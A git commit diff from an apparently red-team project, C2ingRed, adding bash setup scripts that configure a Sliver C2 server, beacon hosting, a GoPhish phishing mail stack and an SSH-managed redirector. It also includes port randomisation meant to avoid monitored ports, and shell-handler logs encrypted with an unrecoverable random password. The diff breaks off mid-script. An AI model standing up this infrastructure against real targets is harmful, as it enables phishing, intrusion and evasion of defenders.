fixing things
This commit is contained in:
n0mad1k
+6
-6
@@ -82,21 +82,21 @@
|
||||
- name: Clone email tracker repository
|
||||
git:
|
||||
repo: https://github.com/Datalux/Osint-Tracker.git
|
||||
dest: /opt/tracker
|
||||
dest: /root/Tools/tracker
|
||||
version: master
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Install tracker dependencies
|
||||
pip:
|
||||
requirements: /opt/tracker/requirements.txt
|
||||
virtualenv: /opt/tracker/venv
|
||||
requirements: /root/Tools/tracker/requirements.txt
|
||||
virtualenv: /root/Tools/tracker/venv
|
||||
virtualenv_command: python3 -m venv
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Configure tracker settings
|
||||
template:
|
||||
src: "../templates/tracker-config.j2"
|
||||
dest: /opt/tracker/config.py
|
||||
dest: /root/Tools/tracker/config.py
|
||||
mode: '0644'
|
||||
ignore_errors: yes
|
||||
|
||||
@@ -122,8 +122,8 @@
|
||||
path: /etc/systemd/system/tracker.service
|
||||
insertafter: "^\\[Service\\]"
|
||||
block: |
|
||||
Environment="PATH=/opt/tracker/venv/bin:$PATH"
|
||||
ExecStart=/opt/tracker/venv/bin/python /opt/tracker/app.py
|
||||
Environment="PATH=/root/Tools/tracker/venv/bin:$PATH"
|
||||
ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/app.py
|
||||
|
||||
- name: Start and enable tracker service
|
||||
systemd:
|
||||
|
||||
@@ -5,9 +5,9 @@
|
||||
LISTEN_PORT=4444
|
||||
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
|
||||
C2_PORT=50051 # Sliver default gRPC port
|
||||
WINDOWS_BEACON="/opt/beacons/windows.exe"
|
||||
LINUX_BEACON="/opt/beacons/linux"
|
||||
MACOS_BEACON="/opt/beacons/macos"
|
||||
WINDOWS_BEACON="/root/Tools/beacons/windows.exe"
|
||||
LINUX_BEACON="/root/Tools/beacons/linux"
|
||||
MACOS_BEACON="/root/Tools/beacons/macos"
|
||||
|
||||
# Set secure permissions
|
||||
umask 077
|
||||
@@ -16,7 +16,7 @@ umask 077
|
||||
log() {
|
||||
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
||||
local message="$1"
|
||||
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
|
||||
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
|
||||
}
|
||||
|
||||
# Detect OS function
|
||||
|
||||
@@ -0,0 +1,405 @@
|
||||
#!/bin/bash
|
||||
# post_install_c2.sh - Post-installation setup for C2 server
|
||||
|
||||
# ANSI color codes
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
RED='\033[0;31m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
echo -e "${BLUE} C2ingRed Post-Installation Setup - C2 Server ${NC}"
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
|
||||
# Function to check if domain resolves to current IP
|
||||
check_dns() {
|
||||
domain=$1
|
||||
current_ip=$(curl -s ifconfig.me)
|
||||
resolved_ip=$(dig +short $domain)
|
||||
|
||||
if [ "$resolved_ip" = "$current_ip" ]; then
|
||||
echo -e "${GREEN}DNS check passed for $domain!${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${YELLOW}DNS check failed for $domain${NC}"
|
||||
echo -e "Current IP: $current_ip"
|
||||
echo -e "Resolved IP: $resolved_ip"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to set up Let's Encrypt
|
||||
setup_letsencrypt() {
|
||||
domain=$1
|
||||
email=$2
|
||||
|
||||
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
|
||||
|
||||
# Check if certificate already exists
|
||||
if [ -d "/etc/letsencrypt/live/$domain" ]; then
|
||||
echo -e "${YELLOW}Certificate already exists for $domain${NC}"
|
||||
read -p "Do you want to renew it? (y/n): " renew
|
||||
if [ "$renew" != "y" ]; then
|
||||
echo -e "${YELLOW}Skipping certificate renewal${NC}"
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
|
||||
# Stop nginx if running to free up port 80
|
||||
systemctl stop nginx 2>/dev/null
|
||||
|
||||
# Get certificate
|
||||
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to set up mail subdomain
|
||||
setup_mail_subdomain() {
|
||||
domain=$1
|
||||
mail_domain="mail.$domain"
|
||||
email=$2
|
||||
|
||||
echo -e "\n${BLUE}Setting up Let's Encrypt for mail subdomain $mail_domain${NC}"
|
||||
|
||||
if [ -d "/etc/letsencrypt/live/$mail_domain" ]; then
|
||||
echo -e "${YELLOW}Certificate already exists for $mail_domain${NC}"
|
||||
read -p "Do you want to renew it? (y/n): " renew
|
||||
if [ "$renew" != "y" ]; then
|
||||
echo -e "${YELLOW}Skipping certificate renewal${NC}"
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
|
||||
certbot certonly --standalone -d $mail_domain -m $email --agree-tos --non-interactive
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}Successfully obtained certificate for $mail_domain${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Failed to obtain certificate for $mail_domain${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to start services
|
||||
start_services() {
|
||||
echo -e "\n${BLUE}Starting required services${NC}"
|
||||
|
||||
# Restart Sliver
|
||||
systemctl restart sliver
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}Sliver C2 started successfully${NC}"
|
||||
else
|
||||
echo -e "${RED}Failed to start Sliver C2${NC}"
|
||||
fi
|
||||
|
||||
# Start nginx
|
||||
systemctl start nginx
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}NGINX started successfully${NC}"
|
||||
else
|
||||
echo -e "${RED}Failed to start NGINX${NC}"
|
||||
fi
|
||||
|
||||
# Start Postfix
|
||||
systemctl start postfix
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}Postfix started successfully${NC}"
|
||||
else
|
||||
echo -e "${RED}Failed to start Postfix${NC}"
|
||||
fi
|
||||
|
||||
# Start Dovecot
|
||||
systemctl start dovecot
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}Dovecot started successfully${NC}"
|
||||
else
|
||||
echo -e "${RED}Failed to start Dovecot${NC}"
|
||||
fi
|
||||
|
||||
# Start the beacon server
|
||||
if pgrep -f "serve-beacons.sh" > /dev/null; then
|
||||
echo -e "${YELLOW}Beacon server already running${NC}"
|
||||
else
|
||||
nohup /root/Tools/serve-beacons.sh > /dev/null 2>&1 &
|
||||
echo -e "${GREEN}Started beacon server${NC}"
|
||||
fi
|
||||
|
||||
# If tracker is installed, start it
|
||||
if [ -d "/root/Tools/tracker" ]; then
|
||||
systemctl start tracker
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}Email tracker started successfully${NC}"
|
||||
else
|
||||
echo -e "${RED}Failed to start email tracker${NC}"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to generate DKIM DNS records
|
||||
generate_dkim_records() {
|
||||
domain=$1
|
||||
|
||||
if [ -f "/etc/opendkim/keys/$domain/mail.txt" ]; then
|
||||
echo -e "\n${BLUE}DKIM DNS Record Information for $domain${NC}"
|
||||
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
echo -e "Name: mail._domainkey.$domain"
|
||||
echo -e "Value:"
|
||||
cat /etc/opendkim/keys/$domain/mail.txt | grep -v "^;" | tr -d '\n'
|
||||
echo -e "\n${GREEN}=================================================${NC}"
|
||||
else
|
||||
echo -e "${RED}DKIM key file not found at /etc/opendkim/keys/$domain/mail.txt${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to create DMARC record recommendation
|
||||
recommend_dmarc() {
|
||||
domain=$1
|
||||
|
||||
echo -e "\n${BLUE}DMARC Record Recommendation for $domain${NC}"
|
||||
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
echo -e "Name: _dmarc.$domain"
|
||||
echo -e "Value: v=DMARC1; p=reject; rua=mailto:admin@$domain; ruf=mailto:admin@$domain; pct=100"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
}
|
||||
|
||||
# Function to test SSH connection to redirector
|
||||
test_redirector_ssh() {
|
||||
redirector_ip=$1
|
||||
ssh_key=$2
|
||||
ssh_user=${3:-"root"}
|
||||
|
||||
echo -e "\n${BLUE}Testing SSH connection to redirector at $redirector_ip${NC}"
|
||||
|
||||
if [ -f "$ssh_key" ]; then
|
||||
# Try SSH with 5-second timeout
|
||||
ssh -i "$ssh_key" -o StrictHostKeyChecking=no -o ConnectTimeout=5 "$ssh_user@$redirector_ip" "echo 'SSH connection successful'" >/dev/null 2>&1
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}SSH connection to redirector successful${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}SSH connection to redirector failed${NC}"
|
||||
echo -e "${YELLOW}Please check the redirector IP and SSH key${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "${RED}SSH key file not found at $ssh_key${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to execute post-install on redirector
|
||||
setup_redirector() {
|
||||
redirector_ip=$1
|
||||
ssh_key=$2
|
||||
ssh_user=${3:-"root"}
|
||||
|
||||
echo -e "\n${BLUE}Preparing to set up redirector at $redirector_ip${NC}"
|
||||
|
||||
# Check if redirector post-install script exists, copy if not
|
||||
ssh -i "$ssh_key" -o StrictHostKeyChecking=no "$ssh_user@$redirector_ip" "test -f /root/Tools/post_install_redirector.sh" >/dev/null 2>&1
|
||||
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -e "${YELLOW}Copying post-install script to redirector...${NC}"
|
||||
|
||||
# Create the script first
|
||||
cat > /tmp/post_install_redirector.sh << 'EOF'
|
||||
#!/bin/bash
|
||||
# post_install_redirector.sh - Post-installation setup for redirector
|
||||
|
||||
# ANSI color codes
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
RED='\033[0;31m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
echo -e "${BLUE} C2ingRed Post-Installation Setup - Redirector ${NC}"
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
|
||||
# Function to check if domain resolves to current IP
|
||||
check_dns() {
|
||||
domain=$1
|
||||
current_ip=$(curl -s ifconfig.me)
|
||||
resolved_ip=$(dig +short $domain)
|
||||
|
||||
if [ "$resolved_ip" = "$current_ip" ]; then
|
||||
echo -e "${GREEN}DNS check passed for $domain!${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${YELLOW}DNS check failed for $domain${NC}"
|
||||
echo -e "Current IP: $current_ip"
|
||||
echo -e "Resolved IP: $resolved_ip"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to set up Let's Encrypt
|
||||
setup_letsencrypt() {
|
||||
domain=$1
|
||||
email=$2
|
||||
|
||||
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
|
||||
|
||||
# Check if certificate already exists
|
||||
if [ -d "/etc/letsencrypt/live/$domain" ]; then
|
||||
echo -e "${YELLOW}Certificate already exists for $domain${NC}"
|
||||
read -p "Do you want to renew it? (y/n): " renew
|
||||
if [ "$renew" != "y" ]; then
|
||||
echo -e "${YELLOW}Skipping certificate renewal${NC}"
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
|
||||
# Stop nginx if running to free up port 80
|
||||
systemctl stop nginx 2>/dev/null
|
||||
|
||||
# Get certificate
|
||||
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to start services
|
||||
start_services() {
|
||||
echo -e "\n${BLUE}Starting required services${NC}"
|
||||
|
||||
# Start nginx
|
||||
systemctl start nginx
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}NGINX started successfully${NC}"
|
||||
else
|
||||
echo -e "${RED}Failed to start NGINX${NC}"
|
||||
fi
|
||||
|
||||
# Start shell handler
|
||||
systemctl start shell-handler
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}Shell handler started successfully${NC}"
|
||||
else
|
||||
echo -e "${RED}Failed to start shell handler${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Main execution
|
||||
echo -e "\n${BLUE}Beginning redirector setup process...${NC}"
|
||||
|
||||
# Get domain information
|
||||
read -p "Enter redirector domain (e.g., cdn.example.com): " redirector_domain
|
||||
read -p "Enter email for Let's Encrypt: " email
|
||||
|
||||
# Check if DNS is properly configured
|
||||
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
|
||||
check_dns $redirector_domain
|
||||
|
||||
# Set up Let's Encrypt
|
||||
setup_letsencrypt $redirector_domain $email
|
||||
|
||||
# Start services
|
||||
start_services
|
||||
|
||||
echo -e "\n${GREEN}Redirector setup complete!${NC}"
|
||||
echo -e "${YELLOW}Make sure to check the logs if you encounter any issues.${NC}"
|
||||
EOF
|
||||
|
||||
# Make the script executable
|
||||
chmod +x /tmp/post_install_redirector.sh
|
||||
|
||||
# Copy to redirector
|
||||
scp -i "$ssh_key" -o StrictHostKeyChecking=no /tmp/post_install_redirector.sh "$ssh_user@$redirector_ip:/root/Tools/"
|
||||
|
||||
# Make executable on redirector
|
||||
ssh -i "$ssh_key" -o StrictHostKeyChecking=no "$ssh_user@$redirector_ip" "chmod +x /root/Tools/post_install_redirector.sh"
|
||||
|
||||
echo -e "${GREEN}Post-install script copied to redirector${NC}"
|
||||
else
|
||||
echo -e "${GREEN}Post-install script already exists on redirector${NC}"
|
||||
fi
|
||||
|
||||
# Ask to run the script
|
||||
read -p "Run redirector setup now? (y/n): " run_setup
|
||||
|
||||
if [ "$run_setup" = "y" ]; then
|
||||
echo -e "${BLUE}Connecting to redirector and running setup script...${NC}"
|
||||
ssh -i "$ssh_key" -o StrictHostKeyChecking=no -t "$ssh_user@$redirector_ip" "cd /root/Tools && ./post_install_redirector.sh"
|
||||
else
|
||||
echo -e "${YELLOW}Skipping redirector setup${NC}"
|
||||
echo -e "You can run it later by SSHing to the redirector and executing /root/Tools/post_install_redirector.sh"
|
||||
fi
|
||||
}
|
||||
|
||||
# Main execution
|
||||
echo -e "\n${BLUE}Beginning C2 server setup process...${NC}"
|
||||
|
||||
# Get domain information
|
||||
read -p "Enter primary domain: " domain
|
||||
read -p "Enter email for Let's Encrypt: " email
|
||||
|
||||
# Check if DNS is properly configured
|
||||
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
|
||||
check_dns $domain
|
||||
check_dns "mail.$domain"
|
||||
|
||||
# Set up Let's Encrypt
|
||||
setup_letsencrypt $domain $email
|
||||
setup_mail_subdomain $domain $email
|
||||
|
||||
# Configure applications to use the certificates
|
||||
if [ -f "/etc/postfix/main.cf" ]; then
|
||||
echo -e "\n${BLUE}Configuring Postfix to use the certificates...${NC}"
|
||||
sed -i "s|^smtpd_tls_cert_file =.*|smtpd_tls_cert_file = /etc/letsencrypt/live/$domain/fullchain.pem|" /etc/postfix/main.cf
|
||||
sed -i "s|^smtpd_tls_key_file =.*|smtpd_tls_key_file = /etc/letsencrypt/live/$domain/privkey.pem|" /etc/postfix/main.cf
|
||||
fi
|
||||
|
||||
if [ -f "/root/Tools/gophish/config.json" ]; then
|
||||
echo -e "\n${BLUE}Configuring GoPhish to use the certificates...${NC}"
|
||||
sed -i "s|\"cert_path\":.*|\"cert_path\": \"/etc/letsencrypt/live/$domain/fullchain.pem\",|" /root/Tools/gophish/config.json
|
||||
sed -i "s|\"key_path\":.*|\"key_path\": \"/etc/letsencrypt/live/$domain/privkey.pem\",|" /root/Tools/gophish/config.json
|
||||
fi
|
||||
|
||||
# Start services
|
||||
start_services
|
||||
|
||||
# Generate DKIM and DMARC recommendations
|
||||
generate_dkim_records $domain
|
||||
recommend_dmarc $domain
|
||||
|
||||
# Ask for redirector information
|
||||
echo -e "\n${BLUE}Do you want to set up the redirector now?${NC}"
|
||||
read -p "Enter redirector IP (leave empty to skip): " redirector_ip
|
||||
|
||||
if [ -n "$redirector_ip" ]; then
|
||||
read -p "Enter SSH key path: " ssh_key
|
||||
read -p "Enter SSH user (default: root): " ssh_user
|
||||
|
||||
if [ -z "$ssh_user" ]; then
|
||||
ssh_user="root"
|
||||
fi
|
||||
|
||||
if test_redirector_ssh "$redirector_ip" "$ssh_key" "$ssh_user"; then
|
||||
setup_redirector "$redirector_ip" "$ssh_key" "$ssh_user"
|
||||
fi
|
||||
else
|
||||
echo -e "${YELLOW}Skipping redirector setup${NC}"
|
||||
fi
|
||||
|
||||
echo -e "\n${GREEN}C2 server setup complete!${NC}"
|
||||
echo -e "${YELLOW}Make sure to set up DNS records as described above if you haven't already.${NC}"
|
||||
@@ -0,0 +1,156 @@
|
||||
#!/bin/bash
|
||||
# post_install_redirector.sh - Post-installation setup for redirector
|
||||
|
||||
# ANSI color codes
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
RED='\033[0;31m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
echo -e "${BLUE} C2ingRed Post-Installation Setup - Redirector ${NC}"
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
|
||||
# Function to check if domain resolves to current IP
|
||||
check_dns() {
|
||||
domain=$1
|
||||
current_ip=$(curl -s ifconfig.me)
|
||||
resolved_ip=$(dig +short $domain)
|
||||
|
||||
if [ "$resolved_ip" = "$current_ip" ]; then
|
||||
echo -e "${GREEN}DNS check passed for $domain!${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${YELLOW}DNS check failed for $domain${NC}"
|
||||
echo -e "Current IP: $current_ip"
|
||||
echo -e "Resolved IP: $resolved_ip or not set"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to set up Let's Encrypt
|
||||
setup_letsencrypt() {
|
||||
domain=$1
|
||||
email=$2
|
||||
|
||||
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
|
||||
|
||||
# Check if certificate already exists
|
||||
if [ -d "/etc/letsencrypt/live/$domain" ]; then
|
||||
echo -e "${YELLOW}Certificate already exists for $domain${NC}"
|
||||
read -p "Do you want to renew it? (y/n): " renew
|
||||
if [ "$renew" != "y" ]; then
|
||||
echo -e "${YELLOW}Skipping certificate renewal${NC}"
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
|
||||
# Stop nginx if running to free up port 80
|
||||
systemctl stop nginx 2>/dev/null
|
||||
|
||||
# Get certificate
|
||||
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to update NGINX configuration
|
||||
update_nginx_config() {
|
||||
domain=$1
|
||||
|
||||
# Check if NGINX config exists and contains the domain
|
||||
if [ -f "/etc/nginx/sites-available/default" ]; then
|
||||
if grep -q "$domain" "/etc/nginx/sites-available/default"; then
|
||||
echo -e "\n${BLUE}Updating NGINX configuration to use SSL certificate${NC}"
|
||||
|
||||
# Update SSL certificate paths
|
||||
sed -i "s|ssl_certificate .*|ssl_certificate /etc/letsencrypt/live/$domain/fullchain.pem;|" /etc/nginx/sites-available/default
|
||||
sed -i "s|ssl_certificate_key .*|ssl_certificate_key /etc/letsencrypt/live/$domain/privkey.pem;|" /etc/nginx/sites-available/default
|
||||
|
||||
echo -e "${GREEN}NGINX configuration updated${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}Domain $domain not found in NGINX configuration${NC}"
|
||||
fi
|
||||
else
|
||||
echo -e "${RED}NGINX configuration file not found${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to start services
|
||||
start_services() {
|
||||
echo -e "\n${BLUE}Starting required services${NC}"
|
||||
|
||||
# Start nginx
|
||||
systemctl start nginx
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}NGINX started successfully${NC}"
|
||||
else
|
||||
echo -e "${RED}Failed to start NGINX${NC}"
|
||||
fi
|
||||
|
||||
# Start shell handler
|
||||
systemctl start shell-handler
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}Shell handler started successfully${NC}"
|
||||
else
|
||||
echo -e "${RED}Failed to start shell handler${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to display port information
|
||||
show_port_info() {
|
||||
# Display shell handler port
|
||||
if [ -f "/etc/systemd/system/shell-handler.service" ]; then
|
||||
SHELL_PORT=$(grep "LISTEN_PORT=" /root/Tools/shell-handler/persistent-listener.sh | cut -d'=' -f2)
|
||||
echo -e "\n${BLUE}Shell Handler Port Information:${NC}"
|
||||
echo -e "Shell Handler is using port: ${GREEN}$SHELL_PORT${NC}"
|
||||
fi
|
||||
|
||||
# Display nginx listening ports
|
||||
echo -e "\n${BLUE}NGINX Listening Ports:${NC}"
|
||||
netstat -tlpn | grep nginx
|
||||
}
|
||||
|
||||
# Main execution
|
||||
echo -e "\n${BLUE}Beginning redirector setup process...${NC}"
|
||||
|
||||
# Get domain information
|
||||
read -p "Enter redirector domain (e.g., cdn.example.com): " redirector_domain
|
||||
read -p "Enter email for Let's Encrypt: " email
|
||||
|
||||
# Check if DNS is properly configured
|
||||
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
|
||||
check_dns $redirector_domain
|
||||
|
||||
# Confirm proceeding even if DNS check fails
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -e "${YELLOW}DNS check failed but we can proceed anyway.${NC}"
|
||||
echo -e "${YELLOW}Make sure to set up DNS records before trying to obtain certificates.${NC}"
|
||||
read -p "Do you want to proceed anyway? (y/n): " proceed
|
||||
if [ "$proceed" != "y" ]; then
|
||||
echo -e "${RED}Setup aborted.${NC}"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# Set up Let's Encrypt
|
||||
setup_letsencrypt $redirector_domain $email
|
||||
|
||||
# Update NGINX configuration
|
||||
update_nginx_config $redirector_domain
|
||||
|
||||
# Start services
|
||||
start_services
|
||||
|
||||
# Show port information
|
||||
show_port_info
|
||||
|
||||
echo -e "\n${GREEN}Redirector setup complete!${NC}"
|
||||
echo -e "${YELLOW}Make sure DNS records are properly configured for continued operation.${NC}"
|
||||
@@ -0,0 +1,224 @@
|
||||
#!/bin/bash
|
||||
# randomize_ports.sh - Generate and set random ports for C2 services
|
||||
|
||||
# ANSI color codes
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
RED='\033[0;31m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
echo -e "${BLUE} C2ingRed Port Randomization ${NC}"
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
|
||||
# Define port range (avoid well-known and commonly monitored ports)
|
||||
MIN_PORT=10000
|
||||
MAX_PORT=60000
|
||||
|
||||
# Define list of ports to avoid (commonly used services and monitoring tools)
|
||||
AVOID_PORTS=(22 80 443 3389 5985 5986 3306 5432 1433 8080 8443 9090 9091 8008 4444 5555 1234 4321 31337 50051)
|
||||
|
||||
# Function to check if a port is in the avoid list
|
||||
is_port_avoided() {
|
||||
local port=$1
|
||||
for avoid_port in "${AVOID_PORTS[@]}"; do
|
||||
if [ "$port" -eq "$avoid_port" ]; then
|
||||
return 0 # Port should be avoided
|
||||
fi
|
||||
done
|
||||
return 1 # Port is fine to use
|
||||
}
|
||||
|
||||
# Function to check if a port is already in use
|
||||
is_port_in_use() {
|
||||
local port=$1
|
||||
if ss -tuln | grep -q ":$port "; then
|
||||
return 0 # Port is in use
|
||||
fi
|
||||
return 1 # Port is not in use
|
||||
}
|
||||
|
||||
# Function to generate a random port number
|
||||
generate_random_port() {
|
||||
local attempts=0
|
||||
local max_attempts=20
|
||||
local port
|
||||
|
||||
while [ $attempts -lt $max_attempts ]; do
|
||||
port=$((RANDOM % (MAX_PORT - MIN_PORT) + MIN_PORT))
|
||||
|
||||
# Check if port is in avoid list or already in use
|
||||
if ! is_port_avoided $port && ! is_port_in_use $port; then
|
||||
echo $port
|
||||
return 0
|
||||
fi
|
||||
|
||||
attempts=$((attempts + 1))
|
||||
done
|
||||
|
||||
# If we reach here, we couldn't find a suitable port
|
||||
echo "Error: Could not find a suitable random port after $max_attempts attempts" >&2
|
||||
return 1
|
||||
}
|
||||
|
||||
# Generate random ports for different services
|
||||
HTTP_C2_PORT=$(generate_random_port)
|
||||
HTTPS_C2_PORT=$(generate_random_port)
|
||||
MTLS_C2_PORT=$(generate_random_port)
|
||||
SHELL_HANDLER_PORT=$(generate_random_port)
|
||||
BEACON_SERVER_PORT=$(generate_random_port)
|
||||
ADMIN_PORT=$(generate_random_port)
|
||||
|
||||
# Print the generated ports
|
||||
echo -e "\n${GREEN}Generated random ports:${NC}"
|
||||
echo -e "HTTP C2 Port: ${YELLOW}$HTTP_C2_PORT${NC}"
|
||||
echo -e "HTTPS C2 Port: ${YELLOW}$HTTPS_C2_PORT${NC}"
|
||||
echo -e "MTLS C2 Port: ${YELLOW}$MTLS_C2_PORT${NC}"
|
||||
echo -e "Shell Handler Port: ${YELLOW}$SHELL_HANDLER_PORT${NC}"
|
||||
echo -e "Beacon Server Port: ${YELLOW}$BEACON_SERVER_PORT${NC}"
|
||||
echo -e "Admin Port: ${YELLOW}$ADMIN_PORT${NC}"
|
||||
|
||||
# Create a port configuration file
|
||||
PORT_CONFIG="/root/Tools/port_config.json"
|
||||
cat > $PORT_CONFIG << EOF
|
||||
{
|
||||
"http_c2_port": $HTTP_C2_PORT,
|
||||
"https_c2_port": $HTTPS_C2_PORT,
|
||||
"mtls_c2_port": $MTLS_C2_PORT,
|
||||
"shell_handler_port": $SHELL_HANDLER_PORT,
|
||||
"beacon_server_port": $BEACON_SERVER_PORT,
|
||||
"admin_port": $ADMIN_PORT
|
||||
}
|
||||
EOF
|
||||
|
||||
echo -e "\n${GREEN}Port configuration saved to $PORT_CONFIG${NC}"
|
||||
|
||||
# Function to update Sliver configuration
|
||||
update_sliver_config() {
|
||||
local sliver_config="/root/.sliver/configs/daemon.json"
|
||||
|
||||
if [ -f "$sliver_config" ]; then
|
||||
echo -e "\n${BLUE}Updating Sliver daemon configuration...${NC}"
|
||||
cp "$sliver_config" "${sliver_config}.bak"
|
||||
|
||||
# Check if jq is installed
|
||||
if ! command -v jq &> /dev/null; then
|
||||
echo -e "${YELLOW}jq not found, installing...${NC}"
|
||||
apt-get update && apt-get install -y jq
|
||||
fi
|
||||
|
||||
# Update the configuration with jq
|
||||
jq ".daemon_port = $MTLS_C2_PORT | .daemon_http_port = $HTTP_C2_PORT | .daemon_https_port = $HTTPS_C2_PORT" "${sliver_config}.bak" > "$sliver_config"
|
||||
|
||||
echo -e "${GREEN}Sliver configuration updated successfully${NC}"
|
||||
|
||||
# Restart Sliver service
|
||||
echo -e "${BLUE}Restarting Sliver service...${NC}"
|
||||
systemctl restart sliver
|
||||
else
|
||||
echo -e "${YELLOW}Sliver configuration file not found at $sliver_config${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to update shell handler configuration
|
||||
update_shell_handler() {
|
||||
local handler_script="/root/Tools/shell-handler/persistent-listener.sh"
|
||||
|
||||
if [ -f "$handler_script" ]; then
|
||||
echo -e "\n${BLUE}Updating shell handler configuration...${NC}"
|
||||
|
||||
# Update the port in the script
|
||||
sed -i "s/LISTEN_PORT=.*/LISTEN_PORT=$SHELL_HANDLER_PORT/" "$handler_script"
|
||||
|
||||
# Update the service if it exists
|
||||
local service_file="/etc/systemd/system/shell-handler.service"
|
||||
if [ -f "$service_file" ]; then
|
||||
# Add environment variable to service file if not already present
|
||||
if ! grep -q "Environment=\"LISTEN_PORT=" "$service_file"; then
|
||||
sed -i "/\[Service\]/a Environment=\"LISTEN_PORT=$SHELL_HANDLER_PORT\"" "$service_file"
|
||||
else
|
||||
sed -i "s/Environment=\"LISTEN_PORT=.*/Environment=\"LISTEN_PORT=$SHELL_HANDLER_PORT\"/" "$service_file"
|
||||
fi
|
||||
|
||||
# Reload systemd and restart the service
|
||||
systemctl daemon-reload
|
||||
systemctl restart shell-handler
|
||||
fi
|
||||
|
||||
echo -e "${GREEN}Shell handler updated to use port $SHELL_HANDLER_PORT${NC}"
|
||||
else
|
||||
